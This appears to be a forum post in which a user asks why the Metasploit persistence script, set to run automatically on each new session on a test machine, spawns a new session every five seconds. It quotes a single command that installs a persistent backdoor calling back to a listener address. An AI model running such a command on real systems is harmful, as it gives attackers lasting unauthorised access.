Hey all!

I've just come across the metasploit persistence.rb script and thought it might come in handy. So I tested it out on a test machine by setting the script to run as an auto run script as soon as a session is created.
So I ran the payload on the machine but for some reason it just keeps looping, as in a session is created pretty much every 5 seconds.

This is both anoying and shouldnt happen.

Anybody know what I've been doing wrong?

In case it will help I've been doing this.

Code:
set AutoRunScript persistence -X -i 5 -p 7777 -r 192.168.1.2